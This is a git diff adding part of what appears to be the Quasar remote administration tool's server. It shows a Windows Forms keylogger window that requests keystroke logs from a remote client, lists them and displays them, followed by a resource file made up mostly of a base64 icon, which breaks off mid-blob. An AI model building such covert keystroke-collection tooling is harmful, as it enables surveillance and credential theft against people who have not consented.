Directory.CreateDirectory(_baseDownloadPath); + return; + } + + RefreshLogsDirectory(); + } + + private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _keyloggerHandler.Dispose(); + } + + private void btnGetLogs_Click(object sender, EventArgs e) + { + btnGetLogs.Enabled = false; + stripLblStatus.Text = "Status: Retrieving logs..."; + _keyloggerHandler.RetrieveLogs(); + } + + private void lstLogs_ItemActivate(object sender, EventArgs e) + { + if (lstLogs.SelectedItems.Count > 0) + { + wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text)); + } + } + + private void RefreshLogsDirectory() + { + lstLogs.Items.Clear(); + + DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath); + + FileInfo[] iFiles = dicInfo.GetFiles(); + + foreach (FileInfo file in iFiles) + { + lstLogs.Items.Add(new ListViewItem {Text = file.Name}); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx new file mode 100755 index 0000000..8509576 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + 